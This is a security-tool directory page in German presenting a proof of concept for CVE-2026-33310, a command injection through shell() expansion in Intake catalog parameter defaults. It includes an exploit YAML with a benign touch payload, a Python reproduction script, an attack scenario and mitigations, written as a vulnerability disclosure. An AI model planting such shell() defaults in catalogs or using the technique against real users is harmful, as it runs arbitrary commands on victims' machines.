Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-33310 — Proof-of-Concept, das eine Befehlsinjektion über die `shell()`-Erweiterung in Parameter-Standardwerten von Intake-Katalogen demonstriert, inklusive Exploit-YAML und Reproduktionsskript. | Kitploit
Tools/GitHubGitHub/redyank/cve-2026-33310
Payload-GenerierungSchwachstellenanalyseExploitationWebsicherheitCommand and Control
GitHubredyank/cve-2026-33310

CVE-2026-33310

Proof-of-Concept, das eine Befehlsinjektion über die `shell()`-Erweiterung in Parameter-Standardwerten von Intake-Katalogen demonstriert, inklusive Exploit-YAML und Reproduktionsskript.

Repository anzeigen
17vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-33310

CVE-2026-33310 (Befehlsinjektion durch shell()-Erweiterung in Parameter-Standardwerten)

Zusammenfassung

Die shell()-Syntax innerhalb von Parameter-Standardwerten scheint während des Katalog-Parsing-Prozesses automatisch erweitert zu werden. Wenn ein Katalog einen Parameter-Standardwert wie shell() enthält, könnte der Befehl ausgeführt werden, wenn auf die Katalogquelle zugegriffen wird. Das bedeutet, dass bei Laden eines bösartigen Katalog-YAML eingebettete Befehle auf dem Host-System ausgeführt werden könnten. Dieses Verhalten könnte potenziell als CWE-78: OS-Befehlsinjektion / Unsichere Shell-Erweiterung eingestuft werden.

Details

Das Problem scheint daraus zu entstehen, wie Parameter-Standardwerte erweitert werden, wenn auf eine Katalogquelle zugegriffen wird.

Während des Katalogladens und des Quellzugriffs:

Intake löst Parameter-Standardwerte auf Die Funktion, die für die Erweiterung von Standardwerten verantwortlich ist, verarbeitet die shell()-Syntax Der Shell-Ausdruck löst eine Subprozess-Ausführung aus Da dies während der Katalogauswertung geschieht, könnte der Befehl ausgeführt werden, bevor der Benutzer explizit mit dem Datensatz selbst interagiert.

Die betroffene Logik scheint Folgendes zu betreffen:

root@kitploit:~
expand_defaults()

und zugehörige Parameter-Parsing-Mechanismen.

PoC

exploit.yaml

root@kitploit:~
metadata:
  version: 1
sources:
  rce_test:
    driver: csv
    description: "Testing shell expansion in parameters"
    args:
      urlpath: "{{ cmd_exec }}"
    parameters:
      cmd_exec:
        display_name: "Test Parameter"
        type: str
        default: "shell(touch /tmp/intake_rce_test)"

reproduce.py

root@kitploit:~
import intake
import os

PROOF_FILE = "/tmp/intake_rce_test"

if os.path.exists(PROOF_FILE):
    os.remove(PROOF_FILE)

print(f"[*] Proof file exists before: {os.path.exists(PROOF_FILE)}")

try:
    cat = intake.open_catalog("exploit.yaml")

    print("Accessing source...")
    _ = cat["rce_test"]

except Exception as e:
    print(f" Error during execution: {e}")

if os.path.exists(PROOF_FILE):
    print(f" Command execution confirmed, Found: {PROOF_FILE}")
else:
    print("Command execution did not occur.")

Angriffsszenario

Ein mögliches Angriffsszenario könnte sein:

  1. Ein Angreifer veröffentlicht eine bösartige Intake-Katalog-YAML-Datei
  2. Das Opfer lädt den Katalog herunter oder lädt ihn
  3. Das Opfer greift auf einen Quelleneintrag im Katalog zu
  4. Parameter-Standardwerte werden erweitert
  5. Der shell()-Ausdruck löst die Ausführung des eingebetteten Befehls aus

Auswirkungen

Wenn dieses Verhalten als unbeabsichtigt bestätigt wird, könnte ein Angreifer eine bösartige Katalogdatei über Folgendes verbreiten:

  • Git-Repositories
  • gemeinsame Datensätze
  • URLs
  • Data-Science-Workflows
  • Jeder Benutzer, der den Katalog lädt, könnte unwissentlich Befehle mit seinen lokalen Benutzerrechten ausführen.

Empfehlung

Mögliche Gegenmaßnahmen könnten sein:

  • Deaktivieren der shell()-Erweiterung standardmäßig
  • Anfordern eines expliziten Opt-in-Flags (z. B. allow_shell=True)
  • Einschränken der Shell-Ausführung für Kataloge, die aus nicht vertrauenswürdigen Quellen geladen werden Bitte lassen Sie mich wissen, falls zusätzliche Informationen oder Tests benötigt werden. Ich helfe gerne bei weiteren Analysen oder Validierungen.
Tool herunterladen